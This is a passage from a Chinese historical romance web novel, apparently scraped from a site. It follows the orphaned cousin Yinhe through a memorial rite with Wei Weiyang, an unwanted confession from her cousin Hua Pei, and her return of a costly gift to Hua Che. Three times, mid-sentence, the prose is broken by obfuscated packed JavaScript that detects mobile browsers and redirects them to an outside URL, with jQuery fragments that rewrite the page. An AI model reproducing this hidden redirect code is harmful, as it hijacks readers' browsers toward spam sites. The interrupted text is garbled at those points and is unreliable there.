不知何故,从未对任何人说起的话,却能在卫维扬面前道出。银荷大略讲了和由心在一起的旧事,只隐去了丫环小姐一节。 讲完后,卫维扬凝视她片刻,说:“可否允我一祭?” 银荷不解其意,点点头,摇晃着站起来,立在一旁。 卫维扬起身取过旁边的香焚上,郑重施礼后,念道:“维永平十八年二月二十三日,卫维扬谨以桃李芳香、晓露清酌致祭仙姊之灵:憾未拜于清光,但感云影花魄,唯自惭于尘氛。…… “霞姿月韵,痛惜天妒,轻裾文履,叹惋绝尘。…… “哀君去后,碧枝空曳,紫燕无声,红雨寂寂。…… “知交犹忆,悲喜谁同,广陵难续,怅恨如许。 “河川如肃,山峦如穆,潇湘过处,万古留歌。” 他的话音一字一字落入深邃的宁静中,恍然间,银荷仿佛听到由心亲切的脚步声,伴着春风,带来生之欢乐…… 无限的怀念涌上她心头,终于,盈眶的泪珠潸然落下。 “魂兮有灵,盼托梦汝妹于清宵,慰其思苦。身有远近,心无别离。寤寐相感,朝夕安康。匆匆不尽,尚飨。” 见银荷流泪,卫维扬本欲相劝,又压住了,掏出手帕递过去。银荷摇摇头,侧过脸,取出自己帕子擦干眼泪。两人彼此没有讲话,许久后,银荷问:“卫大哥是和家人一起来的,已经看过了桃花?” “我一人过来的。还不曾去。”卫维扬温和地说,“可否——还是我先送姑娘回去,我也该问候一下你们老太太。” 银荷未及答话,便见小朝远远跑来。小朝跑到近处,看到姑娘似乎刚刚哭完,跟前还站着一位公子,愣了一愣,气喘吁吁说:“大奶奶在到处找姑娘呢,快回去吧。” 银荷歉意地看一眼卫维扬:“卫大哥,回头再见吧,我得先走了。” 小朝要去捡起香炉等物,香还未燃尽,卫维扬说:“姑娘快去,别让她们着急了。这些我帮你收着。”银荷匆忙答应,和小朝急急离开。 卫维扬目送她身影转过小山,低头看见地上落着一条帕子,弯腰拾起:是方普通的白色丝帕,只在一角绣着花。如若不是手帕上还留有未干的泪渍,让他全心同情姑娘的孤苦,他几乎要为这刺绣而失笑了。 当然不是因为绣得不好,恰恰相反,绣作巧夺天工。他从未见过这种图样,比画出来的还妙,只用简单的线条勾出形状,精致而写意。其天真明快,流畅生动,又恰如这帕子的主人一般。 绿圆半卷,清芳新立,帕上是一株初绽的荷花。 卫维扬将手帕轻轻拢在掌心,心想下次见面,一定要找机会说出心里话才好。 再说花家一群人原本是在一片桃花园中,老太太略转转,就找个避风的地方坐下休息,其他人自去玩耍,不一会儿就向四处散去,银荷便是趁这时偷偷溜开的。 别人理会不到,花沛却留了意。他看表妹多时不见踪影,她的丫环却独自站着,四下顾盼、心神不定的样子,心中疑惑更甚。 再等了一会儿,仍不见表妹回来,他思忖片刻,便装作不经意地提醒了老太太。老太太果然唤了瑷宁去找。花沛偷偷跟着小朝,看她出了园子,不一会儿就见表妹匆匆回来,还在用衣袖拭泪。 花沛心中一颤,很想冲上前去询问。表妹虽然失去双亲,身世凄苦,可她性子坚强,很少在人前露出伤心。如今正是春光明媚时节,表妹却偷偷躲出去哭,定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17035904|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是发生了不一般之事。 这个小小的波澜很快就过去了,银荷掩去哭过的痕迹,若无其事地迎上众人,内疚地解释自己是好奇跑远了,为此只受了几句温和的数落,毕竟小姑娘本就贪玩。 只有花沛不信。就在这时,他无意中听到两个不相识的女子议论说看到了卫公子。 原来如此,又是那个卫维扬! 京郊无一处不美,他偏巧来这里转悠。每次只要表妹出了门,他总能凑上来。他和表妹都说了些什么,能让表妹抛开闺阁少女的谨慎和矜持,在众人眼皮底下和他私会,甚至还在他面前落泪! 没一会儿,花沛看到卫维扬和花瑶藏在一棵树下说话,这不啻于又往火上浇了一瓢油。 他走过去,正听到花瑶在问:“卫大哥见到我表姐了?” 卫维扬没答,他瞧见花沛上前,便先向他招呼致意。花瑶回头看见是虎起脸的兄长,脸一下变得煞白,要不是蝉影赶快扶住了她,她几乎要站立不稳。 花沛用严厉的目光催妹妹离开,才对卫维扬说:“舍妹顽劣惯了,不懂规矩,没有分寸,也从来不听管教,让卫大人见笑了。望卫大人看她姑娘家年纪小、不曾见过外人,对失礼之处还请多多担待。” 饶是卫维扬涵养再好,也不禁动了几分气,只是他不愿与花家的人交恶,便淡淡道:“令妹聪慧剔透,赤子心肠,卫某自愧不如。” “今日倒是凑巧,卫大人来此是为了?” “我来会一位朋友。请彦沣兄恕我不恭,改日再去府上拜见老太太。”卫维扬说罢便拱手告辞,唤跟随去牵马,一径去了。 花沛直瞪着卫维扬走远,这才冷笑一声,去寻其他人。这时已到晌午,众人便收拾着回去用饭歇息不提。 晚间,一行人在庄子里住宿。因没那么多屋子,银荷和花瑶挤在一间。两人有一句没一句说了会儿话,银荷见花瑶那边没了动静,自也睡去。 早先的习惯,银荷在旁边有人时一向睡得很轻。她刚合眼没多久,便被一阵低低的啜泣声唤醒。她轻轻动了动,哭声停了一瞬,随即又压抑不住地响起。 她坐起来,趴在花瑶身边轻拍着唤她:“瑶妹妹,你怎么了?出什么事了?” 花瑶顿住了哭声,略停一停,嘟囔着说:“没事儿,我大概是做梦魇住了。” 银荷摸摸她枕头都哭湿了,正要开口问,蝉影趿着鞋举盏小灯急忙走进来:“姑娘别怕,明儿咱们就回去。”待到近处瞧见花瑶满面泪痕,“哎呀”一声,“到底是怎么样,姑娘快别难过了。” 花瑶慢慢坐起来,四处摸着帕子要擦泪。银荷早一步看到,递给她:“瑶妹妹是为着何事……” “没什么,不干表姑娘的事。”蝉影不客气地打断她,坐在床沿上,低声柔和地安慰花瑶。 银荷见状,爬下床来,花瑶忙拉住。银荷笑着小声说:“没事,我就去那边睡,你别起来,看惊动了老太太。” 她按住花瑶,来到外间,小朝等在那儿打地铺,睡得正香。银荷悄悄爬到原先蝉影的位置躺下,辗转反侧。 她以为花瑶最近闷闷不乐还是因为戚晚的事,可看她这样伤心,却又不像。银荷想:若花瑶这样本该无忧无虑的姑娘也会在夜深人静时哭泣,世上的悲苦不知还有多少? 她望着眼前的一片黑灰,直到里屋隐隐约约的低语完全消失,才强迫自己睡去。 次日用早饭时,她二人都面色苍白,老太太问,便谎称择席含混过去。 老太太担心道:“就怕冲撞了花神,迷了心。咱们还是都回去。” 两人怕大家扫兴,赶紧又分辩一番。 瑷宁笑道:“我倒睡得怪好,可见没冲撞了花神。两位妹妹花朵一般的人物,更不可能撞,我看还是择席。” 老太太说:“也罢,那瑶儿和由丫头就先回去吧,沛儿你送她们两个。难为他们收拾了半日,我们再多待一天,明日回。我看这里都妥当,沛儿你就在家吧,也别跑来跑去了。” 众人均无异议。饭罢,银荷和花瑶就各自收拾好东西,上了马车。一路上,花瑶不好意思和银荷说话,只做假寐。银荷也靠着车壁昏昏沉沉。 在花府门前下车时,花沛叫住花瑶,相当严肃地说:“三妹先回去歇息,有工夫了,去书房找我,我有几句话。” 31. 心事 花瑶听见花沛要她去说话,心中怕得不得了,回去后便有些哆哆嗦嗦的。二太太只当她又生病了,花瑶也不敢说,趁势装病,躺在床上。 然而这也不过拖延一时,万一兄长疑心她借病逃避,岂不是还增加了过错。花瑶急得几次想下床,可是一坐起来,又想见了兄长呢,该如何应答?——这是自己最怕人知晓的事,而兄长恐怕已经猜到了。 想到这儿,花瑶心内的羞和怕比以往任何时候都要严重上百倍,这还没敢想被父亲知道又将怎样……于是她复又倒下,只盼能拖一刻是一刻。 蝉影见她真要急出病来,出主意道:“我看大爷并不是生气,更不是对卫公子不满。只因大爷就姑娘一个亲妹妹,又当姑娘是小孩子惯了,这才时不时要叮咛几句,绝没有想教训姑娘的意思。 “姑娘要实在怕,不如这么着:我先去见大爷,就说姑娘身上不舒服。这也不是假话——大爷肯定听见太太叫大夫来着。大爷必定明白姑娘心里悔恨,就算真有气也消了,那时姑娘也容易申辩;省得姑娘直接过去,不说话好像心虚,说急了又像是犟嘴,再传到老爷那儿更不好。” 花瑶一听,正中她的担心,央告蝉影:“那你快去,见了我大哥,就说太太要我等着大夫。你注意瞧瞧我大哥神情,要是他生气,你就快回来,我再想办法。要是还好,你就说昨日与……卫公子说话,是因为刚巧碰见,再说,卫公子是四哥……” “不用姑娘吩咐,我都晓得。”蝉影从容地说。她只管不慌不忙的,低头看自己身上衣裙干净,便洗了洗脸,梳了梳头,并不施脂抹粉,拿镜子瞧瞧,是一脸秀气的模样,又放出一种谦逊而认真的态度,这才去找花沛。 且说银荷,不过在外面住了一夜,再回来便心说,还是自己的家好——她没想到不知不觉间竟然真把花府看作了自家。 这时候,往床上一倒,说不出的舒适、放松,便睡了一会儿。醒来后,还不到晚饭时分,小朝见旁边无人,偷偷问她:“昨儿和姑娘说话的公子是什么人,长得那样好看。” 银荷不禁乐了:“你才几岁,就管哪个公子长得好不好看。” 小朝嘻嘻一笑:“我是为姑娘欢喜欢喜。” “胡说!”银荷向她身上轻轻打一下,“那位是卫公子,四公子的朋友。” 谁知小朝竟跳起来,“卫公子原来是他,难怪,难怪!” “你知道卫公子?”银荷惊讶道。 “哎呀,”小朝捂住嘴,“我不该说的。蝉影姐姐说我要是敢说出去就揭了我的皮。” “原来是跟着蝉影学坏了,议论人家公子的相貌,也不嫌害臊。”银荷羞她。 小朝却认真地说:“蝉影姐姐逼我不能告诉别人,我告诉姑娘,可不算‘别人’。”她便道,“蝉影姐姐说,卫公子是天下第一好,这话不是她评的——随便问哪个见过卫公子的姑娘,她们嘴上不承认,心里可都是这样想。她说等我将来见到就服气了。”说罢,她不好意思地瞄银荷一眼,意思仿佛是:要怪全怪蝉影姐姐,我可没说姑娘是“嘴上不承认”的。 银荷脸有点红,虽没去细思,但立即觉得这话可真不能算错。她假作生气:“胡说八道!怪不得蝉影不许你往外讲,让谁听见,也得揭你的皮。” 小朝却又说:“不是为这个。是为之前有一回,蝉影姐姐还说过,等将来三姑娘出阁,嫁的人必然是天下第一好。” 银荷震惊。这才晓得花瑶的心事,自己竟一直没看出来。 小朝看看银荷脸色,又说:“不过卫公子他——反正绝对怪不得姑娘,要怪就怪月老去。” “去,去。越来越不像样了。”银荷推小朝,小朝笑嘻嘻跑掉,银荷自己也走出屋门。 她回想花瑶往日里的言语,又想起花瑶昨夜哭得那样柔肠寸断、粉泪盈腮。她还不知花瑶碰见卫维扬,又被花沛撞到的事,但直觉花瑶哭泣与卫维扬有关,不觉有些难受:瑶妹妹怎么不早说呢,要是我早知道,就不会…… 银荷的脸颊一瞬间变烫了:不会什么,难道我是有意要与卫大哥亲近?再说,与我何干,莫非我以为卫大哥当真对我特别? 她随即又记起卫维扬满含关心、同情、尊重的眼神,心头涌上一股自傲之情:为何我就不能与卫大哥是很好的朋友?我并没有辱没卫大哥的情谊。 可一时又想:他果真是天下第一好,这话并不错,而我呢?我却能有幸得此知己…… 这般心里乱纷纷的,已经在屋前来来回回转了好多圈,可要被小朝笑话了,银荷便向外头走去。刚出了清圆居院门,就看到花沛站在数十步外,正在一小圈一小圈地踱着步。 银荷立即想到肯定是花瑶的事,快步走上去。但一直走到跟前,花沛才看到她。 他的脸色似乎不大好,银荷的心提了起来:“瑶妹妹怎么了?” 花沛微微地摇了摇头,又说:“表妹跟我来一下。” 银荷没明白,但花沛转身便走,步子也很快,银荷急忙要跟上他,也就不再多问。 两人一直走到了书房外院子,花沛才停下。他没有请银荷进屋的意思,站住对着银荷。 他的表情郑重,四周又非常安静,银荷不禁紧张:“瑶妹妹在里面?我去和她说几句话,会劝好她的。” 花沛一愣,说道:“她不在这儿,这里没人。她是有些太任性了,我会跟她说,要她以后不再和你争吵。你不用担心。” 银荷不禁愕然。两人说的好像不是一回事,却又不知是从哪里岔开的。 “表妹可还因为其它事不开心?”花沛接着问。 “没,大表哥可能是误会了,瑶妹妹没有和我争吵,别错怪瑶妹妹。” “昨日我见你好像哭了。” 银荷勉强笑道:“可能是我吹风迷了眼,揉了揉,好好的并没有哭。” 花沛狠了狠心说:“是那个卫维扬惹你哭了?” 见花沛这样想,银荷不得不解释清楚:“是我想起了亲人,一时有些伤心。卫公子路过时遇上,略劝了几句。” 瞅她不似说假话,看来并非与卫维扬事先有约,花沛神情放缓了许多:“我们也是你的亲人。” “是。我一直也是这样想的。”银荷话音很轻。她点点头,又对花沛笑了笑。 她原是准备说出告辞回去的话——并非不愿听花沛的告诫,然而,另有一件使她心烦意乱的事,她还不知是什么。这时看见花沛的目光,她的心一沉,匆匆道:“我先回去了。” “别走—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040059|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她已半转过身,花沛突然抓住她的肩膀,“表妹等一下。” 银荷回过脸来,眼中的神情让花沛好似挨了一鞭子,立马松开了手,心中火烧一般羞愧。 可是总得有个头啊。 “我不是想要触犯表妹,表妹允我说几句话,好么?”花沛恳求地说。 “大表哥要说什么?我听着呢。”银荷完全转过身来,但她并没看花沛,只盯着地上的一个小点。 花沛再说话时,平日的镇静沉稳已恢复了八成:“要是有什么是我能为你做的,只要你开口。” “我晓得了。”银荷有气无力地说,心中的不安又扩大了一圈。 “你大概还不明白,”花沛的声音非常和缓而深沉,“不明白我可以为你做到什么地步。” 银荷抬头迅速地看他一眼,花沛脸上的神色绝不容人误解。 “这样,这样是不成的,我不能……”银荷结结巴巴说。 “我不是要让你——你只需答应我来照看你,有难处时能让我想想办法。” 银荷深吸一口气:“若我有难处,会告诉大嫂。” “当然,你说得对,这样最好,其余都不成……”花沛耳里嗡嗡响着,向后退了一步,茫然道。 “那我回去了。” “你的意思我都明白。”花沛仿佛没听到她的话,紧接着说,“不要因我烦心。你若不想看到我,我可以躲开。” “大表哥不必。”银荷说,“没有让表哥在自家躲避我的道理。” “你不要想着离开——”花沛着急地说,“那么像以前一样,请表妹务必答允。” 银荷没说话,轻轻点了点头。 花沛得到这个保证已经知足了,他没有再看银荷。“好了,表妹去吧。” 院子里又恢复了寂静。花沛呆呆立着,立了好久。 这院落当中,摆着块大英石,有人从石后探出半个脑袋,马上缩了回去。 “是谁?”花沛立即问。 片刻之后,蝉影哆哆嗦嗦走了出来。 “你来做什么?”花沛问。 “我,我来告诉大爷……姑娘要我……我什么都没听见。” 说完这句话,蝉影的脸变得雪白一片,知道再无侥幸,跪倒在地,流下泪来:“大爷,我不是有意,我什么都不知道。求大爷饶我,我真的什么都不会说。” 蝉影哭求了一阵,花沛不发一言。过了良久,蝉影鼓足勇气抬起头来,却见花沛一动不动对着她,脸上没有显出分毫喜怒哀乐。蝉影知道自己恐难逃脱,哭着说:“求大爷看我服侍姑娘这么些年,让我见姑娘最后一面。我只想和姑娘告个别,绝不多说半个字。” 也就一霎,她听见花沛严肃而低沉的声音:“要是听见有人说三道四,我只问你。” 蝉影看到了一线希望,急忙又抬起头。“大爷可以信我。” “你过——”花沛突然开口又突然停住,“你走吧。” 花沛转身走进屋子。 四周再无声息,在寂静的院子中,蝉影慢慢将眼泪流干。不知是什么阻止她起身,她的腿跪疼了,又换个姿势侧坐在地。许久许久,她才撑着慢慢站起来,慢慢拍拍裙上的土,慢慢擦净脸,然后疾步走入书房。 32. 归还 老太太和瑷宁等人,在庄上住了一两日,便回家来了。里里外外都没什么大事,本来日子该恢复如常。 不料薄暮时分,小朝急急忙忙跑进屋喊道:“不好了,大爷把蝉影姐姐撵走了。三姑娘哭得什么似的。” “为了什么?”银荷闻言吃了一惊。 “我不晓得。蝉影姐姐已经在外头等着,有人在给她收拾东西。姑娘帮她想想法子吧,或者去求求老太太。” “不行不行,我真没办法。”银荷拼命摇头。 小朝见姑娘没法子,看来事情已经无可挽回,不由便哭了一场。 银荷没心思劝她,料想花瑶更难过,亦不能前往安慰,自己坐立不安,心里真是无趣透了。 第二天,织雨从家回来,听说此事,也是惊诧,出去打问,回来埋怨小朝:“蝉影是自己求了太太,想要家去。太太说蝉影服侍三姑娘这么些年,不愿难为了她,不但答应,还赏了银子。哪有什么撵不撵的话,你也不问清楚,只管乱嚷嚷。” “那蝉影姐姐怎么不对三姑娘说明白?昨儿,连让她进来见三姑娘都不许。”小朝兀自不信。 “是蝉影自己不肯,她可能怕见了三姑娘伤心,那丫头也倔着呢。再说,她家里都在这儿,一下子又去不远,说不好哪天她还来串门,你不信,当面问问不就得了,哭什么。” 小朝便止了泪,想一想,又问:“蝉影姐姐一心一意要跟着三姑娘,从来没说过别的话,怎么会突然改了主意?” 织雨也觉得确实突然。不过,算不得奇怪:蝉影的父亲卧病在床,弟弟尚未娶亲,家中就母亲一人,恐怕照料不来。蝉影提出想回家,肯定是为帮母亲料理家事。 别人亦都这样想。何况,过一二日,看蝉影的弟弟长乐还留在府里,脸上乐乐呵呵的,不见分毫受了委屈的模样,那必然就是那么个缘故了。 银荷初时只担心花沛迁怒于蝉影,见不是为此,稍稍安了心。其他人也都知道,花瑶舍不得蝉影,等过段时日,她家里事少了,只要太太一发话,随时可以回来,也就看得平平常常,不再去想它了。谁也料不到,这里面会另有文章。 银荷自那日起,便有些别人看不大出的消沉。 她想:“我并没有对不住谁,假如我今日离开花家,良心上绝对是干干净净的。天下没有不散的筵席,便像蝉影,和瑶妹妹好成那般,说走也就走了。不过蝉影还能回来,再来看望大家,我呢?” 她心里难受,又从另一面想:“大表哥向来对我很和气,总是望着我好。那天,他不过是怕我和卫大哥太亲近,叫别人讲闲话,一时着急,话说得不仔细。我自己着急时,不也没那么多斟酌吗。再说,如今什么都好好的,也不常见大表哥,就是见了,他也是和见到瑶妹妹完全一般。何况,大嫂又那么好。” 在银荷心里,是真的把花沛当作了表兄,甚而当作了亲兄长。也不知这样,是不是为了能从心上减掉几分内疚。反正,她自然而然便这么想了。 这些话不能对任何一个人说,可是慢慢地,银荷自己将自己开解了五六分。她还反躬自省了一番,发现在其它方面,她的确有过错,譬如,对某些人…… 她想,等花澈回来,把东西还了他,从此后,就绝没有别的事了。 . 花澈回府时,三月已过去了大半。不过这也算不得长,没超过他给老太太承诺的三个月期限。 花澈在老太太跟前打了个转,回到自己屋里,又有一堆事情等着。他只留元宝在跟前听吩咐,并命任何人不得来打扰。 正说话,有个叫做四喜的小厮,在门口探了探头,马上猫腰退到外面了。过了半晌,元宝出来,拉四喜到一旁,作势要踢他:“不是说了爷没工夫,只管鬼鬼祟祟,听不明白话怎的,还不滚远点?” 四喜嬉笑道:“宝叔叔轻着些,别踢疼了你老的腿。好歹宝叔叔赏我点儿工夫,完了我就滚——是邱掌柜来了,想见宝叔叔,现下正在外头候着。” “什么秋掌柜,这还在春里头呢。到他该来的日子没有?没到就回去等。这个那个的都来,还不得乱了套,光应付这些,不用做事了。一概不见!”元宝说着,转身欲走。 四喜忙拽住他:“我斗胆讨个情,既然宝叔叔都出来了,不如就见他一面,他就说两句话。” “你收了他什么好处,过来害我。等下爷要派不是,是派你还是派我?” “自然派我,宝叔叔哪能被寻出不是?我只盼宝叔叔将来提拔提拔我,别人的好处还看不到眼里。”四喜满口奉承,看元宝没动,又说,“邱掌柜前两个月来过一趟,你老才出门去了。不知他托了哪个,说等你老回来,给他递个信儿。这不,你老刚回,他就找来了。” “他能有什么紧要事?”元宝口里这样说,心里知道那邱掌柜不是个啰嗦人,三番五次的,恐怕真有什么事,便走过去望望。 不到半盏茶工夫,元宝返身回来,仍进了书房,见花澈正书写信函,便没敢说话。花澈头也不抬问:“何事?” 元宝忙说:“正要秉爷,是集灵斋的邱掌柜。他说新店面开张没几天的时候,大爷去挑东西。刚来的伙计还没调教好,有眼无珠的,不识大爷丈六金身,只管擅自收了大爷银子。邱掌柜还没来得及上去招呼,大爷就走远了。邱掌柜不敢直接找大爷。他今日来赔个罪,还讨爷示下。” “什么没要紧的事,也值当?收了便收了,大哥又不短几个银子。”花澈不耐烦道。 “邱掌柜说,大爷虽不将银钱看在眼里,但他不能没上没下,怕爷知道了怪罪。我看他实在作难,两个多月心里头都不安稳,就先收了。”元宝说着将几张银票放到桌上。 “多少?”花澈随口问道。 “一千两百。” “他慌什么,东西不值这些?” “邱掌柜说大爷眼光高明,一眼就瞧中店里最好的东西——是付耳坠,上头的一对珠子难得,别处拿多少金子还买不到。其实要价并没怎样高,当然大爷的赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050461|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识才是无价,哪轮到他在大爷跟前张嘴。东西他愿意孝敬了大爷,还望爷恕他招待不周。” “他倒会装乖滑。”花澈说着停下笔,“刚才还没说完,年内要再修出两条作塘。” 元宝忙回:“已经使人传信去了,要他们明日带图样来商议。” “好。你把之前的簿子找给我看看。别再来烦我,要你到底是何用?” 过不得多久,元宝又瞧见四喜向他招手,他转头看花澈正忙着事,一时半会儿不像会有吩咐,便悄悄走出来。 一见四喜,元宝是火冒三丈,没客气,狠狠踢他一脚:“这回怎么?最好是宫里来人降旨,不然你可死定了。” 四喜说:“宝叔叔,可是奇了,来了位表姑娘要找爷。” “表姑娘?”元宝愣住。 四喜忙解释:“今儿太多人找爷,只管不消停,我实在顶不住了,让五福去对付一会儿,我替他在里门守着。五福说不会有人,可他刚走表姑娘就过来了。五福说,甭管老太太还是老爷有事叫爷,都回爷出门去了,他可没说表姑娘怎么办。我也不知爷是不是要见,怕出了错,这不先问你一声。” “哪个表姑娘?”元宝诧异道。 “我哪儿敢问。妈呀,长得和仙女不差什么。她说:‘劳驾,三表哥在不在,麻烦替我传一声。’——我活这么大,从来没叫这么样个姑娘劳驾和麻烦过呢。我怎么好说‘三表哥’不在家,谁能说得出口?”四喜仰慕中带着怜惜,小声笑叹。 “你小心着些。”元宝眼睛向他一横。又问,“你让她在外头等?” “那我该要她进来等?”四喜一脸懊恼,为难道,“我要她进来,万一爷不见,再要她回去?要她进来,咱们这么多人瞅着?我也不知该怎办,要是老太太或老爷有事,都是差个丫环过来嘛。” “要不,还请宝叔叔跟爷说声,说不定,爷真的要见表姑娘。”四喜又笑嘻嘻起来。自有位表姑娘给二爷做了二房奶奶的事情被阖府上下议论了好些天,表姑娘三个字便带着说不出的暧昧,惹人遐想。 元宝顾不得再训斥四喜。这时候他已经想到了,不会有别人,肯定是那位曲表姑娘,上回在马场远远瞧见过的。 元宝琢磨:就说呢,爷在矴州从来没有事,这次偏是往那边去。一路又神神秘秘的,不晓得去见了些什么人,连我也不叫跟着。这不正对上了,表姑娘可不是矴州来的?原来是表姑娘支使爷给她打探消息。表姑娘的事,自然不好让我们这些人知道。——恐怕事情还挺急,所以爷一回来,她就赶来听信儿。 于是不敢耽搁,当即去回。 不过到底没看见人,元宝不好一口说死,因只报:“爷,表姑娘来了。” “哪个表姑娘?”花澈立刻抬起头,脱口而出的,是和元宝刚才一模一样的话。 这一问,他自己先好笑,还能有哪个表姑娘,当然是那个假的。 元宝汗都下来了。 花澈紧接着说:“你带她进来。” 33. 最好 银荷跟着元宝进了间厅堂,见窗楹高敞,满室明辉,正是会客之处,元宝脚步却没停,银荷只好随着他穿厅而过,走过一小段回廊,又是间极开阔明亮的屋子,屋中摆张大桌,上有文房四宝,两面靠墙都立着书架,满满当当插着书本,花澈却仍未在此。元宝继续将她带至里间,放下门帘便退了出去。 这间内室地方也不小,又有几架书,大小共四扇相对的窗子,北面窗下设张长榻,南面大窗下置着一书案,和小窗之间隔一把椅子。这是银荷目光一扫之下看到的,其余不及细瞧,因为花澈正坐在案后。案上摊满了书本纸张,他往旁边一拨,便站起来,笑咪咪看着她。 “要妹妹久等了,下次妹妹来,不拘什么时候,只管进屋来。” 银荷不答,立在半丈远的地方,默默福身,正要说明来意,便听花澈又说了一串话:“妹妹近来可好?我一直惦着妹妹呢。本该一回家就先去瞧妹妹,又怕唐突,惹妹妹不喜,往后我会记住,怎好劳妹妹先来瞧我。不过妹妹今日过来,我实在不胜欢喜。妹妹请坐——” 一听他的语气,银荷就恼火。她已经打定主意,绝不再和花澈斗嘴置气,而要客客气气的,表示疏远的意思,但花澈一开口,她这边,疏远的决心虽增强了一倍,险些把客客气气给忘了。 她仍是站着,垂眼盯着地上:“托三表哥的福,我都好。三表哥这次出门倒没几天。不过我着急过来,不为别的,只是三表哥送去我那里的东西,不尽快归还的话,我一刻也难以心安。” “是么,我有点记不清了,哪样东西?”花澈亲热、随便地说,也没显出几分惊讶的样子。 银荷走上前,将一只盒子放在桌上,又退后几步,再一福身:“打搅三表哥,我回去了。” 花澈已将盒子拿在手里,打开一瞧,啪一声扣回盒盖,笑意从他眼中完完全全消失了。 “原来是说这个。”花澈复又坐下,将那只盒子在手里来回抛着玩。 银荷看他打开盒子后,脸色转瞬间冰冷,本来是该奇怪,但她却有解释:她想花澈肯定自认这般贵重的东西,绝无不肯收下之理,大概以为她与别的物件搞混了;待发现果真不要他的礼物,在他看,恐怕是被大大地驳了面子,自然很不高兴。 这也没办法。银荷要走,花澈说:“妹妹等等。”向她耳上望一眼,问,“为何不肯戴着呢,是不投妹妹喜好,还是怕别人问起来,不好答话?这有什么,我给家里人人都送一件,这下总可以放心?好了,妹妹留着吧。”说着,他将盒子放在桌上,朝银荷那边推了推。 “三表哥送给别人吧,我不要。” “我答应送妹妹一样礼物,妹妹总不好要我食言?妹妹不肯收这个,我只好另送一件。” “三表哥的心意我领了,但……” “分明没有领。”花澈笑着打断,“妹妹是知礼的人,不会这样轻易伤了别人心意吧?” 银荷忍不住要辩:“我和三表哥对心意的看法不同。” “那你是什么看法?” “至少不会随便给人贵重东西,硬说是心意,迫人领情。” “好吧,是随便了些。可惜,我只会送东西,不会陪上几句斯文话。不过我送人礼物,全凭自己高兴,不是为了要谁领情、还礼,亦没有其它任何企图,妹妹不用害怕扎手。” “我知道三表哥并无别意,但是我也不想要,请三表哥收回去。” “我拿这个又没什么用,你不要,我只好扔了。”花澈心烦不耐地说。 “三表哥的东西,随意处置就是。” “假使是别人送给妹妹,妹妹会戴上吗?” 因为东西实在贵重,银荷也不好说若长辈赐不可辞等话,摇摇头道:“我小小一个人儿,太糟蹋了。” “哪里的话,正好说反了。”花澈脸容和煦了许多。“仔细想想,能与妹妹相配的东西恐怕还未造出来过呢。——我从来不随便送人礼物,而且,我要送了,从来不让人家退回来。但是我可以为妹妹破例,你既不愿收,就算了。” “多谢三表哥体谅,我回去了。”银荷说。 “不用这样着急,可以多坐一会儿,妹妹愿不愿听听我出门的事。” “改日吧,不多打扰三表哥了。”银荷说着便走,刚转身,听花澈道:“这么说妹妹今日来,是为和我一刀两断?” 银荷停住,一口气堵在胸口。说白了正是这么个意思,甚至她在心里用的恰恰是同样一词。可凭什么他能猜到,还堂而皇之讲出来,好像两人之间真有什么似的。 她转回身,恳切道:“三表哥说得太重了。三表哥一直对我很友好,是我多有得罪之处,望三表哥能看在……望三表哥多担待些。” “还用看什么?”花澈站起身,一面绕出桌案,走向银荷,一面问,“咱们不是表兄妹吗?除过天地至亲,这算不算最要紧?——不过,说起表兄妹,我眼里,只有一个妹妹,妹妹眼里,可有好几位表哥吧?” 银荷无法作答。花澈已近至她身前,低头盯住她。从他低垂的睫间漏出的光,跟那宝剑的剑锋一样,薄,寒,快,只一闪就不见了,余一双眼睛深不见底。 花澈接着问:“你说,哪位表哥待你最好?” 银荷一愣。这种问题她想都没想过,岂料还真有人能问出来。 “别潦草决定。妹妹不妨先在心里头排一排。” “三表哥怎说这种孩子话,几位表哥对我都颇多照顾——”银荷突然结舌,心里丝一般乱纷纷的。当真去想,是说花澈待她最好?不然就是……最坏? “总有个一二三四,想清楚没有,谁待你最好?是不是大表哥?”花澈追问。 银荷脸上有点红。 她知道花澈不过随口说说,他料不到别的情形。惟其如此,她更加心虚。惟其心虚,更要表现出理直。于是,她不含糊地答:“对。大表哥待我最好。大表哥待姊妹们一向都很好。” “可不是,比我强多了。”花澈自嘲地笑笑,走到门前,替她揭着门帘。“妹妹慢走。” 元宝见表姑娘出去,直至掌灯时分,花澈仍未唤人,心中犯起嘀咕,最终忍不住进屋一瞧,只见花澈坐在暗影中凝然不动。他硬着头皮走上前去:“爷,可要点上灯?” 花澈没说话。元宝瞧不清他面色,不敢再吭声,也不敢就退下,心里暗暗叫苦。 静默良久,花澈突然说:“你去瞧瞧大爷这一向在做些什么。” 元宝吓了一跳:“爷说咱们家里的大爷?” 